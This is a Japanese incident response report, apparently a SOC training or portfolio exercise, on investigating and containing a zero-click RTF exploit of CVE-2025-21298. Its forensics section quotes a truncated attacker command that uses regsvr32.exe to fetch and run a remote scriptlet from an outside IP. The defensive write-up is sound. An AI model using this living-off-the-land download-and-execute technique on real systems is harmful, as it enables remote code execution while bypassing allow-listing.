インシデントレスポンス: Windows OLE Zero-Click RCE (CVE-2025-21298)

プロジェクト概要

このプロジェクトは、重大度「Critical」のZero-Click Remote Code Execution (RCE) の試行をエンドツーエンドで調査および封じ込めた記録です。EDRテレメトリと脅威インテリジェンスを用いて、自動防御を回避し、コマンド＆コントロール（C2）通信を確立した「Living off the Land」（LotL）攻撃を特定しました。

主要な目的

• ゼロデイエクスプロイトに対する高優先度のSIEMアラートをトリアージする。
• 悪意のあるRTF添付ファイルの静的解析を実施する。
• 悪意のあるプロセスツリーを特定するためにエンドポイントフォレンジックを実施する。
• アクティブな脅威を封じ込めるためにEDRを介したネットワーク分離を実行する。

---

インシデントライフサイクルの実行 (NIST SP 800-61)

1. 検知と初期トリアージ

イベントID 314: Windows OLE Zero-Click RCE検知 を特定しました。初期テレメトリにより、悪意のあるファイル mail.rtf が境界防御によって 許可 (Allowed) されており、ワークステーション 'Austin' でアクティブな侵害が発生していることが判明しました。

2. 静的解析と脅威インテリジェンス

VirusTotalでファイルハッシュのレピュテーションチェックを実施しました。結果は25/55の検知率を確認し、特にこのファイルが CVE-2025-21298 を利用した悪意のあるRTFであることを特定しました。この脆弱性により、ユーザー操作なしでWindowsプレビューウィンドウを介したリモートコード実行が可能になります。

3. エンドポイントフォレンジック (ペイロードの追跡)

ホスト 'Austin' のEDRターミナル履歴に移動し、侵害後の動作を特定しました。悪意のある「Living off the Land」(LotL) 実行を発見しました。

• コマンド: regsvr32.exe /s /u /i:http://84.38.130.118/...
• アナリストの洞察: 攻撃者は署名済みWindowsバイナリ (regsvr32.exe) を使用して、リモートサーバーから悪意のあるスクリプトレットを取得し、標準的なアプリケーションホワイトリストと従来型AVのシグネチャをバイパスしました。

4. 封じ込めと無力化

NISTインシデントレスポンスフレームワークに従い、即時の封じ込めを優先しました。影響を受けたホストに対してネットワーク分離 (Network Isolation) を実行し、C2通信を遮断し、企業ネットワーク内での横方向の移動を防止しました。

5. 解決と最終報告

インシデントは真陽性 (True Positive) としてクローズしました。攻撃者のIPアドレス (84.38.130.118) とフォレンジック証拠を脅威インテリジェンスチームおよびファイアウォールチームに文書化し、将来の発生を防止します。

---

侵害指標 (IOCs)

主な学び

• 多層防御: Zero-Clickエクスプロイトは、シグネチャベースのAVが現代の脅威に対して不十分であることを証明しています。
• ログの相関: SIEMアラートデータとEDRターミナルログを正常に相関させ、アクティブな悪用を確認しました。
• EDRの習熟度: 脅威アクターの「滞留時間」を最小限に抑えるために、迅速なホスト封じ込めを実践しました。